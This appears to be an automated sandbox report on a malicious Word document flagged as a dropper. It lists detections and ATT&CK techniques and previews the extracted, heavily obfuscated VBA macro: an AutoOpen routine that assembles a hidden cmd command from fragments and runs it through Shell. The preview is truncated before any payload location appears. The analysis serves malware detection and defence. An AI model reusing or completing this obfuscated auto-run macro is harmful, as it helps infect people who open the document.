MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro attempts to execute a command via the Shell function, indicating it's designed to download and run a secondary payload. The ClamAV detection name 'Doc.Dropper.Valyria-6666970-0' further supports its role as a dropper.
Heuristics 5
-
ClamAV: Doc.Dropper.Valyria-6666970-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Valyria-6666970-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12241 bytes |
SHA-256: 2e436254dcfb4dab68716a38848104870e9cc6e67acc85e157565055a691cecc |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "aELDuiivOqwwNI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
TypeName CDate(lsLMj)
TypeName 2
TypeName IpIdho
TypeName RLCioV
TypeName PtiLLM
Shell@ KeyString(vbKeyC) + rCbtqdizQRC + rwQzIbUiPFqTiP + ibZJBVFtS + dHDHVITt + XWjHad + hTIRwIwKZk + ZUkmdtWFF + ZpuhH + sLZJmV + YtwvPXhmzczkZI + KwGzwLWiiiOzJ, 390869301 - 390869301
TypeName Hex(pEZKV * rCnUwq - 86635 + AplQX)
TypeName Int(385504594)
End Sub
Attribute VB_Name = "lvMXOQhJ"
Function ibZJBVFtS()
On Error Resume Next
TypeName 309390367
TypeName CBool(238116723)
cSLJpihsz = "m" + "d" + " /V" + ":" + "O" + "N/" + "C" + CStr(Chr(GwknjNzcYz + PJLwFKrJXpvbY + 34 + sjnbHZAGPJ + mSNZSzFDbCOdPX)) + "se" + "t *" + " "
TypeName Chr(zYjvEB + 26801 + 44292 - MiTMLi)
TypeName 7958
TypeName CBool(Lcpbit)
EkRSr = "=" + "t" + "vZF" + "wRd" + "sm"
TypeName CSng(luzJR)
TypeName 34
dnhvGiKdzdj = "k" + "maH" + "LP" + "zZ" + "pQ" + "Q" + "i" + "wp"
TypeName Log(197905322)
TypeName dasAz
SPEwoQ = "qV" + "Mgh" + "uSl" + "Nf," + "crD" + "j{" + "y" + "O" + "=4W" + "eTx" + "B" + "9$" + "}"
TypeName 972
TypeName CStr(bNWnU * HFwXq)
TypeName ChrB(127535551)
XuGwknbbd = "JX" + "\" + "I" + ".b/" + ")" + "E" + "on'" + "+5:" + "-"
TypeName cciCNC
TypeName Atn(tUOHS)
TypeName 4
pkPCL = ";3@" + "8 C" + "(&&" + "f" + "o" + "r" + " "
TypeName Round(8458)
TypeName NzFPHc
TypeName CStr(LQTzj)
WUkitSBNuhA = "%N " + "i" + "n" + " (2" + "2,6" + "0," + "21" + ","
TypeName CInt(4)
TypeName Oct(VijrQ)
TypeName Cos(87285 / SGModH)
KAAhZ = "44," + "35," + "7" + ",2" + "7" + "," + "44" + ",3" + "0"
TypeName AidNVB
TypeName CLng(rhBuo)
TypeName ChrW(IEVjT - zULmpV - 54992 + hIKIi)
FjVEc = ",3" + "0," + "71" + "," + "49" + ",6" + "0,2" + "2" + ",1," + "4" + "1,6" + "1"
TypeName Log(8)
TypeName AjToY
TypeName CDate(iiHAfY * cXADOR * 52751 + jkhJYr)
dwVtNCKbDSl = "," + "44" + ",2" + "1" + ",66" + "," + "60" + "," + "56" + ",3"
TypeName 2
TypeName ChrB(1191 - uVzzJY)
NcQlaOCduOY = "7" + ",44" + ",34" + ",0," + "7" + "1" + ",3"
TypeName Cos(qipzY + RIszB)
TypeName CInt(63776 + iKzPiU + jGPWA + YWzEdQ)
TypeName LOcpJ
JopXY = "1," + "4" + "4," + "0" + ",5" + "5," + "43" + ",44"
TypeName 852
TypeName CJBTF
TypeName Sqr(aDLLB)
EwqHq = ",56" + "," + "72" + ",3" + "0,"
ibZJBVFtS = cSLJpihsz + EkRSr + dnhvGiKdzdj + SPEwoQ + XuGwknbbd + pkPCL + WUkitSBNuhA + KAAhZ + FjVEc + dwVtNCKbDSl + NcQlaOCduOY + JopXY + EwqHq
TypeName KzjbO
TypeName ChrW(jGDMrj)
End Function
Function dHDHVITt()
On Error Resume Next
TypeName Sqr(34)
TypeName Sgn(81276 - CwwsRP + 59238 * oVoiS)
szCHUsnG = "2" + "0" + ",4" + "4" + ",61" + "," + "0," + "67" + "," + "4" + "9,4" + "7,"
TypeName BBPoou
TypeName uGnit
TypeName Tan(288187364)
OqftIYUu = "51" + "," + "24" + ",4" + "1," + "62," + "2" + "7,0"
TypeName ANFDhj
TypeName Int(90822 + vajJX / AwQNP + zbHBK)
TypeName CDbl(15654 - 69838 - ftOrYE * LTnrQ)
AmKRwGkPA = ",0," + "2" + "2" + "," + "6" + "5," + "57," + "5"
TypeName CInt(265317252)
TypeName FJkFth
IECwbwTkFPi = "7," + "1" + "0,4" + "4,3" + "0,2" + "0" + ",7" + ",7," + "11" + ",9" + "," + "2" + "0,7"
TypeName juuqW
TypeName CDate(Ntfvwd * lEkLm)
PKVUwkCNzP = "," + "7" + ",55" + ",34" + ",6" + "0,1" + "0," + "57," + "5" + "4," + "11" + ",4"
TypeName Sin(986)
TypeName UXsGcJ
jVDNdvtXpGb = "6," + "59" + ",69" + "," + "2" + "7" + "," + "0" + "," + "0,2" + "2" + ",6" + "5,5"
TypeName MljVR
TypeName 6683
mYkIVAJrauj = "7,5" + "7," + "32," + "35," + "1" + "1,0" + ",2" + "0,7" + ",55" + ",35" + ",28" + ","
TypeName CStr(8203)
TypeName zXzRT
uEnzYEmPCBA = "57" + ",3" + "0,9" + ",3" + "9,"
TypeName jrXRZ
TypeName 7
TypeName 741
aDtbzlQ = "54" + ",6" + "8" + ",5" + "4" + ",4"
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.